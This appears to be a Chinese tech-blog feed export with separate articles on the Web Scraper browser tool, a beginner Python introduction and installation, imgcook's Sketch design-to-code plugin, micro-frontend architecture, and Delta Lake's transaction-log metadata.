        推荐一个网页抓取小工具Web Scraper

        首先输入你想抓取的网站URL,以及你自定义的这条抓取任务的名字,比如我取的name是:xiniulevel,URL是:http://www.xiniudata.com/industry/level

        第二步 创建抓取节点

        我想抓取的是一级标签和二级标签,所以先点进去刚才创建的Sitemap,再点击“Add new selector”,进入抓取节点选择器配置页,在页面上点击“Select”按钮,这时你会看到出现了一个浮层

        推荐一个网页抓取小工具Web Scraper

        这时当你鼠标移入网页时,会自动把某个你鼠标悬停的位置绿色高亮。这时你可以先单击一个你想选择的区块,会发现区块变成了红色,想把同一层级的区块全选中,则可以继续点击相邻的下一个区块,这时工具会默认选中所有同级的区块,如下图:

        推荐一个网页抓取小工具Web Scraper

        我们会发现下方悬浮窗的文本输入框自动填充了区块的XPATH路径,接着点击“Done selecting!”结束选择,悬浮框消失,选中的XPATH自动填充到下方Selector一行。另外务必选中“Multiple”,以声明你要选多个区块。最后点击Save selector按钮结束。

        推荐一个网页抓取小工具Web Scraper

        第三步 获取元素值

        完成Selector的创建后,回到上一页,你会发现多了一行Selector表格,接下来就可以直接点击Action中的Data preview,查看所有想获取的元素值。

        推荐一个网页抓取小工具Web Scraper

        推荐一个网页抓取小工具Web Scraper

        上图所示部分,是我已经添加了一级标签和二级标签两个Selector的情况,点击Data preview的弹窗内容其实就是我想要的,直接复制到EXCEL就行了,也不用什么太复杂的自动化爬取处理。

        以上就是对Web Scraper使用过程的简单介绍。当然我的用法还不是完全高效,因为每次想获取二级标签时还要先手动切换一级标签,再执行抓取指令,应该还有更好的做法,不过对我而言已经足够了。这篇文章主要是想和你普及下这款工具,不算教程,更多功能还是要根据你的需求自行摸索~

        ]]>
        python简介及环境搭建 | python从入门到精通之三 Fri, 02 May 2025 09:39:04 +0800 第二节:开发前的准备

        第二章 python简介及环境搭建

        完成了前面python开发前的准备,从这节课开始我们将会为大家介绍python语言是怎么编程的。

        2.1计算机语言简介

        之前的章节内容里面为大家介绍过,计算机就是一台用来计算的机器,执行人类发出的指令。但是人有人言,兽有兽语,我们需要通过计算机的语言来控制计算机。也就是编程语言。
        但是同学们千万不要觉得编程语言是多么高大上的东西,其实计算机语言和人类的语言没有本质的区别,不同点就是交流的主体不同!
        追本溯源,我们先来看一下,计算机语言的发展。
        计算机语言发展经历了三个阶段:
        机器语言
        机器语言是最早的语言,它是通过二进制编码来编写程序的。上节课说过二进制是计算机底层使用的进制,所以机器语言的执行效率比较高,但是缺点就是我们编写起来太麻烦。它方便了机器识别,却不方便我们人类识别。
        符号语言(汇编)
        汇编语言比机器语言又高级了一点,它是使用符号来代替机器码。编写程序时,不需要使用二进制,而是直接编写符号,编写完成后,需要将符号转换为机器码,然后再由计算机执行。符号转换为机器码的过程称为汇编,将机器码转换为符号的过程,称为反汇编。
        汇编语言一般只适用于某些硬件,在写硬件驱动的时候是非常好用的,但是对于别的地方来说它代码的兼容性就比较差,换个硬件就要重新写一套代码。
        高级语言
        目前通用的高级语言的语法基本和现在英语语法类似,并且和硬件的关系没有那么紧密了,也就是说我们通过高级语言开发程序可以在不同的硬件系统中执行。并且高级语言学习起来也更加的容易,现在我们知道的语言基本都是高级语言,比如:C、C++、C#、Java、JavaScript、Python等等 。
        练习1:对比查看这些高级语言之间的区别。

        2.2编译型语言和解释性语言

        由于计算机只能识别二进制编码(机器码),所以任何的语言在交由计算机执行时必须要先转换为机器码,也就是像 print('hello') 必须要转换为类似 1010101 这样的机器码计算机才可以识别并执行出结果。
        根据转换时机的不同,语言分成了两大类:
        1.编译型语言
        编译型语言,会在代码执行前将代码编译为机器码,然后将机器码交由计算机执行,最典型的就是C语言。

        a(源码) --编译--> b(编译后的机器码)

        特点:

        • 执行速度特别快
        • 跨平台性比较差

        2.解释型语言
        解释型语言,不会在执行前对代码进行编译,而是在执行的同时一边执行一边编译,比如:Python JS Java都是解释性语言。

        a(源码)--解释器--> 解释执行

        特点:

        • 执行速度比较慢
        • 跨平台性比较好

        如果现在理解不了这两种语言的区别,先不用着急,暂时有一个概念即可,随着后续深入的学习,将会对这些知识点有一个更加深刻的体会。

        2.3Python简介

        首先明白Python是一种解释型语言,它也是一边编译一边执行的。
        Python(英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/),是一种广泛使用的高级编程语言,属于通用型编程语言,由吉多·范罗苏姆创造,第一版发布于1991年。可以视之为一种改良(加入一些其他编程语言的优点,如面向对象)的LISP。作为一种解释型语言,Python的设计哲学强调代码的可读性和简洁的语法(尤其是使用空格缩进划分代码块,而非使用大括号或者关键词)。相比于C++或Java,Python让开发者能够用更少的代码表达想法。不管是小型还是大型程序,该语言都试图让程序的结构清晰明了。
        Python流传着一句名言:Life is short you need Python (人生苦短,我用Python),很形象的表达了这个特点。
        Python的用途

        • WEB应用:比如:Facebook、豆瓣等
        • 爬虫程序
        • 科学计算
        • 自动化运维
        • 大数据(数据清洗)
        • 云计算
        • 桌面软件/游戏
        • 人工智能
        • ...

        2.4Python开发环境搭建

        开发环境搭建就是安装Python的解释器。
        首先来了解一下Python的解释器分类:
        CPython(官方):用c语言编写的Python解释器,也是我们要用的。
        PyPy:用Python语言编写的Python解释器
        IronPython:用.net编写的Python解释器
        Jython:用Java编写的Python解释器
        我们讲课用到就是CPython,先来进行软件的安装。
        安装步骤:
        1.下载安装包 python-3.6.5.exe

        • 3.x
        • 2.x

        官网有两个版本,目前常用的是2的版本,但是根据以后的发展趋势来看的话,3将会逐渐取代2,所以咱们还是来以3为基础进行授课。
        在浏览器地址栏搜索python.org
        image.png
        进入找到版本,点击下载。
        image.png
        目前版本是3.8.0,如果要下载老师的版本,在所有发行版本里面找。
        image.png
        往下翻,找到该版本的可执行安装程序。点击下载即可。
        image.png
        2.安装(傻瓜式安装)
        双击下载的安装包,选择自定义安装
        image.png
        直接点击Next;
        image.png
        勾选Add Path,就将Python自动加到环境变量里面了。再选择一个自己可以找到的位置:
        image.png
        点击INstall即可,稍微等一分钟
        image.png
        3.打开命令行窗口,输入python 出现如下内容
        image.png
        表明python安装成功了。运行一个简单的python命令:输出“hello”。
        image.png
        其实这时候系统已经在环境变量里面自动配置了:
        image.png
        自己可点击查看。如果运行python程序出问题了,可在这里查看路径。

        2.5Python的交互界面

        当我们通过命令行来输入Python,所进入到的界面就是Python的交互界面
        结构:
        版本和版权声明:
        Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
        Type "help", "copyright", "credits" or "license" for more information.
        命令提示符:

        >>>

        在命令提示符后可以直接输入Python的指令!输入完的指令将会被Python的解释器立即执行!
        安装Python的同时,会自动安装一个Python的开发工具IDLE,通过IDLE也可以进入到交互模式。

        image.png

        点开这个IDLE你会看到如下界面,可以发现它跟交互模式是一样的,但是不同的是,在IDLE中可以通过TAB键来查看语句的提示
        image.png
        image.png
        IDLE实际上就是一个交互界面,但是他可以有一些简单的提示,并且可以将代码保存,但是它会将页面上所有的代码进行一个保存,所以这个功能并不是实用的。而且交互模式下只能你输入一行代码,它就执行一行,所以他并不适用于我们日常的开发!仅可以用来做一些日常的简单的测试!
        image.png
        我们一般会将Python代码编写到一个py文件中,然后通过python指令来执行文件中的代码。下面演示在记事本中编写代码。
        image.png
        image.png
        但是在实际编程的时候是不建议使用记事本的,下面来演示一下怎么建立一个Python程序。首先在桌面新建一个文本文档,但是将文件扩展名改为.py。
        image.png
        右键选择sublime Text;
        image.png
        image.png
        此时可以在命令窗口直接运行。
        image.png
        第三种方式是在IDLE运行,先打开IDLE,新建一个“New File”
        image.png
        然后将此文件Ctrl+S保存,选择位置和文件名即可,在里面输入代码即可。
        image.png
        保存之后在该界面直接按下F5(或者Fn+F5)键,就可以运行代码了。
        image.png
        练习:
        自己尝试创建一个py文件,并向文件中写入python打印语句(print...),然后执行该文件。
        如果你的系统的扩展名无法修改,随便打开一个文件,点击“查看”,将“文件扩展名”前面勾选上,再去修改文件扩展名
        image.png

        第四节:Python语法学习

        视频学习:阿里云大学之Python进阶必看

        配套Python进阶文章点击此处获取

        ]]>
        前端代码是怎样智能生成的-智能插件篇 Fri, 02 May 2025 09:39:04 +0800 概述

        在一个常见的开发周期中往往遵循着产品需求到交互稿到设计稿再到前端开发的过程。所以在 Design2Code (简称D2C) 项目过程中,设计师负责来设计产品视觉效果和产出视觉设计稿,而前端开发工程师以设计稿为输入进行开发。 所以同样地,在前端智能化的过程中,我们需要一种能自动解析设计稿信息的能力来替代传统的人工分析和抠图等繁琐的工作。同时,随着近几年主流设计工具(Sketch、PS、XD 等)的三方插件开发能力逐渐成熟,借助官方提供的 API 能够比较好得还原一些基本的结构化信息和样式信息,从而完成对设计稿原始信息的提取。在此篇文章中,我们将以前端智能化的落地产品 imgcook 的 Sketch 插件为例子,详细介绍我们是如何通过插件对设计稿做处理,最终导出以绝对布局为基础的元素信息,供下游布局算法使用。

        所在分层

        如图所示,链路中的第一层为物料识别层,设计稿将作为这一层的输入。这一层主要是用来识别页面和模块中包含的物料的,比如对基础组件,业务组件和基础控件的识别,从而辅助进行页面分割并对下游输入关于某一元素的相关信息。随后,设计稿的原始信息 (文件) 将会进入到图像处理层,这一层主要是通过这篇文章所介绍的插件实现,因为插件可以注入到 Sketch 或者 Photoshop 等设计工具中从而借助官方提供的一些能力完成对原始设计稿信息的提取。这一层提取的结果将是一个符合 imgcook 规范的 JSON 结构的数据,内容主要是提取出所有元素的相关信息,包含元素的绝对位置和 CSS 可表达的属性,最终可以理解以绝对定位为基础的模块和页面。同时,由于不同设计师可能遵循一些不同于传统前端开发的规范来组织设计稿的图层和结构,在图像再加工层中我们还将借助计算机视觉和智能化的能力对原始设计稿中出现的图层再加工。例如过滤掉一些无用的图层或是合并一些可以当作一个整体的图层等。

        image.png
        (D2C 技术能力分层)

        技术选型

        如图所示,在对接原始设计稿和获取原始设计稿信息的过程中,我们主要是使用了 Sketch 官方提供的 JS API 进行开发,对于一些官方没有包装 JS 接口的功能,我们借助于 CocoaScript 对原始 Objective-C 接口进行调用。同时,我们使用了 Webview 技术可以使用前端技术栈来渲染插件界面。我们采用 Skpm Sketch 的插件管理工具的脚手架能力和插件发布能力。

        image.png
        (插件技术选型示意图)

        插件图层处理

        image.png
        (插件图层处理流程)

        总体流程

        如结构图所示,imgcook Sketch 插件将读取设计稿,按 Depth-first Search (DFS) 的方式循环遍历所有类型的图层,提取图层的基本信息,包括位置和大小。值得注意的是由于 Sketch 里 Symbol 的概念相当于它的 Symbolmaster 的子类,可以覆盖它的 Symbolmaster 的部分属性,所以对于 Symbol 类型的图层,我们要找到它的 Symbolmaster,提取相关信息。之后我们会对所有会被蒙层影响的或者被其他图层覆盖的元素打标,因为这两者会影响到当前图层的视觉输出。之后因为各个类型具体的所拥有的样式不相同,我们会对 Shape, Image, Text 和其他图层分别做处理,把相关的 Sketch 属性转化为 CSS 理解的形式。我们对设计师约定了一些设计协议,可以通过在设计稿中不同的命名给图层指定为成组或者组件,同时带出相关组件信息。下面我们挑取这个过程中两个值得注意的难点进行分别讲解。

        蒙层处理

        在 Sketch 里蒙层的作用是相当于一个底板,所有在结构上位于其之上的图层如果区域超出了蒙层,这部分超出的区域就会被截断。对于蒙层的处理主要有以下几个不同于正常图层的点:

        • 由于在 HTML 和 CSS 领域并没有直接对应的概念,蒙层并不能直接导出相关 CSS 属性或者 HTML 属性
        • Mask 图层不但会影响自己本身的处理,也会影响其他图层的视觉,所以遇到 Mask 需要多图层一起处理
        • 由于 Mask 的形状可能是不规则形状,所以需要考虑如何判断合理的区域进行截断

        针对以上难点和精准还原视觉的目的,我们开发了一套算法计算 Mask 和其影响的所有图层的区域计算和形状计算,针对区域规则且形状规则的做 CSS 属性上的常规截取处理,对于无法使用 CSS 属性表示的情况对 Sketch 视觉可见的区域进行截图处理。其中,我们会进行无用图层检测,如果一个图层在它的 Mask 区域之外,则此图层将被视为无用图层被删除,同时,如果一个图层完全在它的 Mask 区域内,则此图层不会被 Mask 影响,按照原有逻辑处理。

        智能文字位置校准

        相对于其他诸如 Shape 和 Image 图层的处理, 文字图层会更复杂一点,原因主要有:

        • 对于 Shape 和 Image 的每一个图层,我们往往也只需要对应导出一个节点,这个节点包括位置和样式等属性,但是对于文字图层,如果包含多样式,比如颜色,字号,行高等不同,则需要将一个文字图层拆分为多个节点导出
        • Sketch 有定宽类型的文本框,但是对于 HTML 中 span 等标签为行内元素,没有宽度等信息,所以需要对 Sketch 中的多行文本做拆分
        • 目前 Sketch 中文字图层想要得到位置和样式,需要依赖导出的 SVG 信息,而 SketchSVGExporter 接口导出的 SVG 信息经常出现位置不准的情况

        针对第一个问题,我们对 SVG 信息进行循环检测,判断每个 SVG 子节点是否有 CSS 相关的属性发生了变化,如果有变化,就会新建立一个子节点存储相关信息。针对第二个问题,我们会对定宽的文本框导出准确的宽度信息还有行数信息,布局算法会针对此信息作出正确的判断。重点来讲一下第三个问题,由于 svg 信息在对于富文本的情况下会不准确的情况,我们设计了一套基于计算机视觉的算法会对文本框的基线进行矫正,整体流程如下:

        • 对文字图层进行检测是否存在富文本文本框
        • 由于在 Sketch 里单个文本框不同样式的文本基线一定在一条水平线上,我们的校准目标便是基于此。首先我们会对当前文本框做截图处理
        • 借助 OpenCV 库分析截图
        • 使用 Canny 边缘检测,分析出字体轮廓,确定基线位置
        • 计算不同样式的文本之间的基线位置差
        • 传回插件关于位置差的信息,插件对位置以最大字体为基准进行矫正

        图层再加工

        智能图层合并

        设计稿的图层和前端开发之间还有一个差异就是图层合并的问题。往往设计师关注的焦点是能否在设计稿中实现想要的视觉效果,而不会像前端工程师一样关注元素结构和嵌套的合理性。所以有时候在设计稿中,设计师为了实现一个诸如 icon 或者氛围图等视觉效果时,会使用若干的小图层拼接起来,但是从结构角度来讲,这个拼接起来的图形应该是一个整体,在这种情况下我们就需要合并图层(将若干个图层作为一个图层,截图导出)。我们实现了一套自动合并图层的算法,算法会自动检测一个组下是否有若干个应该被合并的图层,然后自动在导出的过程中合并,以便后续链路可以处理结构。

        无用图层检测

        在设计稿中,设计师有时会添加一些对最终布局和视觉没有影响的图层,为了结构的合理性和精简性,我们需要对这部分图层进行筛除。如下的情况下图层会被处理:

        • 如果有两个 Image 图层视觉是一样的但是引用的 url 不同,则统一到相同的 url
        • 如果图层没有 backgroundImage, backgroundColor 和 borderWidth 属性,则图层没有视觉效果,直接过滤掉
        • 如果有无某图层没有对图像矩阵产生影响,则过滤掉此图层
        • 如果图层被非透明图层覆盖,则过滤掉此图层
        • 如果有透明区域小于某个阈值的图片,则过滤掉此图层

        插件测试和度量

        单元测试体系

        由于 Sketch 插件是 imgcook智能生成代码体系的上游,在每一次代码更改和发布之前,需要对插件做严格的测试以确保功能可用,所以我们使用 Skpm-Test, 一个 Skpm 体系下的类 Jest 测试框架建立了单元测试体系,覆盖率达到 95%左右。

        绝对定位布局查看

        如之前讲到的,Sketch 插件导出的信息是包含每个子节点的绝对定位的位置和相关的 CSS 属性,每个节点的属性和类型和 HTML 一一映射,所以我们可以将导出 JSON 直接转化为 HTML + CSS 查看导出效果,使用者可以直接通过 https://imgcook.taobao.org/design-restore 粘贴导出的 JSON 查看效果

        视觉还原度量体系

        image.png
        (插件视觉度量流程)

        我们借助计算机视觉处理库 OpenCV 开发了一套算法用于衡量导出的 JSON 数据是否完全还原了原设计稿的视觉效果。
        OpenCV 计算视觉还原分数主要分为以下几个步骤

        • 图层预处理

          • 如果原始图像和导出图像大小不一致,重置到相同大小
          • 将图像转成灰白图
        • 图层对比主逻辑

          • 分析导出的 JSON 信息,对 JSON 里每个子元素进行如下操作:
          • 获取子元素的宽高和位置: x, y, w, h
          • 记录此元素的内部有多少子元素和横跨的元素
          • 对于每个子元素,取出原设计稿图相对应的区域
          • 模版匹配:使用 OpenCV 模版匹配找出此区域在总还原图中的位置和相似度
          • 如果有元素跨越了此元素并且那个元素已经被处理过,则忽略此元素
          • 如果此元素有子元素并且子元素已经被处理过,则忽略此元素
        • 处理完成导出 JSON
        • JSON 元素集合的一个数组,对于每个数组中的元素有如下属性

          • originPosition: 原始设计稿此元素的位置
          • exportPosition: 导出图层此元素的位置
          • similarity: 导出图层和原始设计稿相似度
          • width: 原始宽度
          • height: 原始高度

        可以看出,我们通过计算机视觉已经分析出了每个图层的原始位置和还原后的位置,同时度量了每个图层的相似度,综合的度量分数应该综合考虑以下三个指标:

        • 总图层数量
        • 还原图层相似度
        • 还原图层的位置

        从这三个指标出发,我们设计如下公式计算还原度:

        image.png

        其中 P 表示 restore 分数, n 表示图层的总数量,image.png表示第i个还原图层和第 i 个原始图层的相似度,image.png表示第 i 个还原图层和原始图层 x 方向位移差,x 表示总宽度,image.png表示第 i 个还原图层和原始图层 y 方向位移差,y 表示总高度。使用此公式,如果全部图层都完全没有被还原(相似度为 0,x 位移为宽度,y 位移为高度),则 P = 0, 如果全部图层都完美还原(相似度为 1, x 位移为 0, y 位移为 0 ),则 P = 1,所以我们可以较为精准的度量视觉还原程度。

        未来展望

        去规范继续升级

        目前我们出了一些设计协议要求设计师按照一定的规范来制作设计稿,以便可以达到更好的还原效果;对设计稿的约束规范曾经高达 20+ 条,我们通过智能图层加工层去掉了大部分规范,目前主要剩下 3 条约束,接下来,我们将进一步通过智能化的手段逐步的去掉这些对设计师和前端的约束,达到 0 约束还原。

        还原能力升级

        我们将在未来的 Sketch 版本中继续提高 Sketch 插件的视觉还原度,目前阶段根据度量体系 Sketch 还原的能力平均在 95% 左右,我们将在之后的版本中继续提高这个能力。

        还原效率升级

        目前由于在插件中设计到大量的极速过程,导致导出速度有的时候不尽理想,我们也对这个问题进行了一定的调研,发现目前插件的确是在处理多图层,尤其是包含多张图片上传的场景速度比较慢,未来我们也会对还原速度进行一次大幅度的升级。
        在科技飞速发展的今天,前端智能化的浪潮已经到来,未来一些简单的、重复性、规律性强的开发一定会逐渐地被机器取代,在这样的过程中,机器对设计稿的理解也一定会更上一个台阶。我们也会保证插件在未来达到更高的智能化水平,从而准确地理解设计师的意图从而更好的为前端服务!


        产品官网:https://www.imgcook.com 欢迎加入钉钉群一起交流。

        image.png


        阿里经济体前端委员会前端智能化共建项目组
        淘系 D2C 团队、淘宝商家与开放团队、UC 团队、闲鱼团队、拍卖团队、优酷团队、CCO 团队、营销零研发全链路智能化业务落地团队、淘宝设计部团队

        ]]>
        拥抱云时代的前端开发架构—微前端 Fri, 02 May 2025 09:39:04 +0800

        image.png

        微前端的价值

        阿里云提供的很多商业化产品和服务,本质上是对外提供「能力」,普惠中小企业。目前,能力输出主要是通过 OpenAPI,用以集成到企业自己的业务场景中,这里主要解决的还是企业底层的能力问题——无需雇佣算法工程师,就可以拥有语音、图像识别等能力。安全也是一样,不需要找安全专家,普通的工程师就可以通过控制台高效地处理各种安全事件。但是,随着云技术不断的下沉,与产业结合的越来越紧密,OpenAPI 唯有把粒度做得越来越细,才能满足各种各样的业务场景,但同时企业侧的学习成本和开发复杂度自然就上去了。控制台做为管(理)控(制)这些能力的工具,目前也只能算是「标品」,必须为了满足不同体量、不同业务特点的需求,灵活地组合和部署,就像是用户自己开发的一样。

        综上所述,微前端的价值有 3 点:

        1. 解决产品侧的扩展性和组合性。化整为零,自由组合。
        2. 解决能力输出的「最后一公里」。
        3. 云生态中的「新物种」 — 微应用。

        如果微前端只存在工程上的价值,那它是不值得大张旗鼓去做的。

        我认为,前端团队需要在这个方面做出业务价值。如果你问我 Ant Design 有什么技术价值?它的价值就是有大量的企业在用,形成某种能力依赖,不需要找设计师或者多么资深的前端工程师,就可以做出看上去很专业的后台界面。
        在这条价值链路上,OpenAPI 太底层,控制台不灵活,UI 库太通用。其中的空白点是绑定能力的商业化组件。举个例子,企业的后台管理页上,可以直接 inside 一个「漏洞管理」的微前端应用,和一个 DataV 的微前端应用展示数据,只需要简单配一下即可,不用开发,就能做到“就像自己开发的一样”。反过来也一样,ISV 在阿里云的产品平台上,不仅可以通过小程序的形式,也可以通过微前端应用的形式输入自己的服务。

        微前端的问题域

        简单地说,搞微前端目的就是要将产品原子化(跟原子化的 OpenAPI 一个道理),再根据客户业务场景组合。每个功能模块能单独迭代,自由集成当然好,但维护成本怎么控制。怎么调试、公共组件版本控制、众多同窗微应用之间怎么“合谐相处”等等。微前端并非只是解决在页面上异步加载一个模块就完事了,更多的是将改造引发的一系列问题需要通过体系化的方案解决,否则就变成反生产力工具。

        目前,阿里的微前端方案有 qiankun(乾坤)、Magix、icestack、以及内部很多的微前端解决方案。或多或少都带有一些自身的业务特色,没有明确提出标准,或者明确定义微前端的技术体系到底包含哪些内容。这方面有项目落地的团队真应该再进一步瞄准更高的价值点做,同时广泛交流,这样才能更快得出标准化的东西。我们团队也在实践中,这里我抛出一些开放性问题讨论。

        首先必须明确微前端不是框架、不是工具/库,而是一套架构体系,它包括若干库、工具、中心化治理平台以及相关配套设施。

        微前端包括 3 部分:

        1. 微前端的基础设施。这是目前讨论得最多的,一个微应用如何通过一个组件基座加载进来、脚手架工具、怎么单独构建和部署、怎么联调。
        2. 微前端配置中心:标准化的配置文件格式,支持灰度、回滚、红蓝、A/B 等发布策略。
        3. 微前端的可观察性工具:对于任何分布式特点的架构,线上/线下治理都很重要。

        微前端具体要解决好的 10 个问题:

        1. 微应用的注册、异步加载和生命周期管理;
        2. 微应用之间、主从之间的消息机制;
        3. 微应用之间的安全隔离措施;
        4. 微应用的框架无关、版本无关;
        5. 微应用之间、主从之间的公共依赖的库、业务逻辑(utils)以及版本怎么管理;
        6. 微应用独立调试、和主应用联调的方式,快速定位报错(发射问题);
        7. 微应用的发布流程;
        8. 微应用打包优化问题;
        9. 微应用专有云场景的出包方案;
        10. 渐进式升级:用微应用方案平滑重构老项目。

        通过问题理解问题是一种思考方式,相信大家能沟通通过微前端三大组成部分和它要解决的 10 个问题,能够有一个大概的理解。下面,看一下我归纳的微前端的架构体系(如图):

        image.png

        通过上图,很明显的看出前后端分工,以及线上微应用相关配置流程。整体运行环境以及开发流程是非常复杂的,留到大会的时候再详细讲解。

        微前端的基本原理

        如下图所示,微前端的工程化是从传统前端工程化体系升级上来的。

        image.png

        比如构建,增加微应用类型的项目构建,有动态的打包策略。传统项目管理工具通常是命令行工具,包括构建、发布、测试,会升级为项目工作台,通过 Web 界面管理项目。一个项目包括哪些微应用,版本,发布策略等在配置中心统一管理。一个大型应用被「碎片化」后,还要能做到「一目了然」。哪个模块报错,加载失败等异常发生第一时间反应在配置中心里。

        下面的原型图,就是一个最基本的配置中心的样貌。微前端体系要可控、可观察。

        image.png

        通过多个微应用的组合,能够在变化如此复杂的需求中,更好的更快的赋能业务。

        云时代的前端开发模式

        前端开发从 PC 时代到移动时代,从刀耕火种的原始运维到云计算时代,回顾起来,我们会发现——开发模式跟时代背景真是密不可分。前端奋斗 20 年才把页面写好,而现在又变成「切页面」了,只是此「切」非彼「切」。云时代的开发模式注定是「碎片化」的,开发是面向模块的,而页面只是一种组合场景,一种运行时容器。

        我想,未来的产品开发主要时间是在「编排」——编排服务、编排逻辑、编排组件、编排访问策略、编排流程。到了云时代,一家企业只要招几个前端工程师就可以了,兼顾开发和运维、资产全部上云,运维任务通过控制台就能完成。开发借助 Serverless 和编排工具就能实现无服务端。在未来,无论是前端工程师还是全栈工程师,都将不复存在,应该叫端到端(F2E -> E2E)工程师了。

        D2 微前端专场

        本届 D2 微前端专场将邀请在微前端领域具有丰富实践的工程师,一起来为大家分享他们的理解和思考,希望能让大家对微前端有更加清晰的认识。

        image.png

        ]]>
        Delta元数据解析 Fri, 02 May 2025 09:39:04 +0800 作者:宋军,花名嵩林,阿里云EMR技术专家。从事Spark内核优化,对SparkCore/SprakSQL有深入了解,Spark Contributor


        Delta元数据解析

        元数据初识

        Delta有自己的元数据管理,主要有6种类型的元数据Action:

        • SetTransaction
        • AddFile
        • RemoveFile
        • Metadata
        • Protocol
        • CommitInfo

        Delta的元数据统一存放在Delta的logpath下面的_delta_log文件夹中

        _delta_log文件夹位置

        不管DeltaTable是分区表还是非分区表,_delta_log文件夹只有一个,都位于Delta的logpath下面
        delta1.png

        _delta_log文件夹内容

        _delta_log文件夹下存储了所有Delta的相关元数据,如下所示

        • Delta每次事务commit都会产生一个json的元数据文件,文件内容包括本次commit做的所有action,比如AddFile/RemoveFile等等;
        • 每产生一个新的json文件就会产生一个新的Delta的snapshot,snapshot的版本即该json文件中的数字,该数字必须是连续自增(不能缺失),Delta的某个版本的snapshot是通过顺序回放所有小于等于该snapshot版本号的所有json文件得到;
        • 每个json文件会有一个对应的crc校验文件(源码中有相关代码,但是并没有实际去写该crc)
        • 对元数据做checkpoint时会产生新的checkpoint文件(parquet)

        如下FileNames类用来管理_delta_log文件夹下相关文件的文件名:屏幕快照 2019-11-29 下午2.45.02.png
        如下_delta_log文件示例:
        屏幕快照 2019-11-29 上午11.46.07.png

        _delog_log文件内容

        • json文件

        屏幕快照 2019-11-29 下午2.50.12.png

        • checkpoint parquet文件:

        parquet文件内容
        屏幕快照 2019-11-29 下午2.58.31.png

        元数据解析

        Actions

        屏幕快照 2019-11-29 下午5.00.02.png

        CommitInfo

        Holds provenance information about changes to the table. This [[Action]] is not stored in the checkpoint and has reduced compatibility guarantees. Information stored in it is best effort (i.e. can be falsified by the writer).

        如:
        {"commitInfo":{"timestamp":1574836330000,"operation":"STREAMING UPDATE","operationParameters":{"outputMode":"Append","queryId":"f5ef8a90-069a-4311-bd0f-4f0c93d89cfe","epochId":"0"},"isBlindAppend":true}}

        {"commitInfo":{"timestamp":1574824794574,"operation":"WRITE","operationParameters":{"mode":"Overwrite","partitionBy":"["date","city"]"},"isBlindAppend":false}}

        每次commit一个json文件都会有一个CommitInfo,记录当前commit对Delta表的修改行为,比如示例中的operation类型有STREAMING UPDATE / WRITE等等

        Protocol

        Used to block older clients from reading or writing the log when backwards incompatible changes are made to the protocol. Readers and writers are responsible for checking that they meet the minimum versions before performing any other operations.Since this action allows us to explicitly block older clients in the case of a breaking change to the protocol, clients should be tolerant of messages and fields that they do not understand.

        如:
        {"protocol":{"minReaderVersion":1,"minWriterVersion":2}}

        用来做Delta本身版本兼容性检查,第一个json文件00000000000000000000.json里面会有该信息,除非调用updateProtocol接口会产生一个新的Protocol

        Metadata

        Updates the metadata of the table. Only the last update to the [[Metadata]] of a table is kept. It is the responsibility of the writer to ensure that any data already present in the table is still valid after any change.

        如:
        {"metaData":{"id":"c233ce0c-dd80-44f0-a1d2-a9404adef07e","format":{"provider":"parquet","options":{}},"schemaString":"{"type":"struct","fields":[{"name":"id","type":"long","nullable":true,"metadata":{}},{"name":"date","type":"date","nullable":true,"metadata":{}},{"name":"name","type":"string","nullable":true,"metadata":{}},{"name":"sales","type":"string","nullable":true,"metadata":{}}]}","partitionColumns":[],"configuration":{},"createdTime":1574836328664}}

        Delta表的schema相关信息,Delta支持schema的演化,所以如果对schema进行修改会产生新的Metadata,当生成某个版本的snapshot进行多个json文件顺序回放时,最终snapshot只会保留最新的Metadata,即以最新的Metadata中的schema为准。
        Schema演化规则详见文档(https://databricks.com/blog/2019/09/24/diving-into-delta-lake-schema-enforcement-evolution.html)

        AddFile

        Adds a new file to the table. When multiple [[AddFile]] file actions are seen with the same path only the metadata from the last one is kept.

        如:
        {"add":{"path":"part-00000-c8719ced-3879-4037-b0af-d62c52224af0-c000.snappy.parquet","partitionValues":{},"size":5906,"modificationTime":1574836329955,"dataChange":true}}

        分区文件
        {"add":{"path":"date=20190710/city=bj/part-00000-ef2cca38-7d20-4eaf-a291-81f71fc9d0b5.c000.snappy.parquet","partitionValues":{"date":"20190710","city":"bj"},"size":583,"modificationTime":1574954016825,"dataChange":true}}

        记录在Delta中新增的文件

        RemoveFile

        Logical removal of a given file from the reservoir. Acts as a tombstone before a file is deleted permanently.

        记录删除掉的文件,一般在Merge/Update等操作会有RemoveFile操作。删除的文件并不会被物理删除,只是在元数据中标记该文件删除了,可以通过vacuum命令来实际物理删除超过墓碑时间的文件(默认7天)

        SetTransaction

        Sets the committed version for a given application. Used to make operations like streaming append idempotent.

        如:
        {"txn":{"appId":"f5ef8a90-069a-4311-bd0f-4f0c93d89cfe","version":370,"lastUpdated":1574837260639}}

        SparkStreaming sink到Delta时,记录相关信息来实现ExactlyOnce特性

        元数据产生

        屏幕快照 2019-11-29 下午5.24.49.png
        如上图所示,_delta_log文件夹下文件的一个产生演化流程,每次对Delta表进行相关修改操作(如Delte/Update等)都会生成一个json文件,记录当前修改的所有actions。

        snapshot

        从上面流程可以看出,Delta支持snapshot功能,即可以查看历史某个时间点状态下的Delta表数据,这个也是Delta的TimeTravel功能的基础实现,详见文档(https://databricks.com/blog/2019/02/04/introducing-delta-time-travel-for-large-scale-data-lakes.html)
        每个json文件对应一个snapshot版本,Delta在生成这个snapshot的时候,会将小于等于这个版本号的所有json文件按照时间顺序进行回放合并,snapshot 版本为3,那么它是有00000000000000000000.json/00000000000000000001.json/00000000000000000002.json三个按照顺序合并过来,同一个path的action会进行合并,比如0.json中有AddFile(path1), 1.json中有RemoveFile(path1),那么snapshot版本3状态下的Delta表是不包含path1作为实际数据参与计算的。

        checkpoint

        每次调用OptimisticTransaction.commit(actions)时会判断当前json的版本对checkpointInterval值(可配置,默认为10)取模,如果取模为0则需要做一次checkpoint。checkpoint会将当前版本以及当前版本之前的所有json文件进行合并(仅仅是文件合并,不对内容做任何更改)到一个parquet文件,这样可以减少后续生成snapshot读取json文件的个数,并且parquet文件也带有压缩,使得存储变小。


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        二维码.JPG

        ]]>
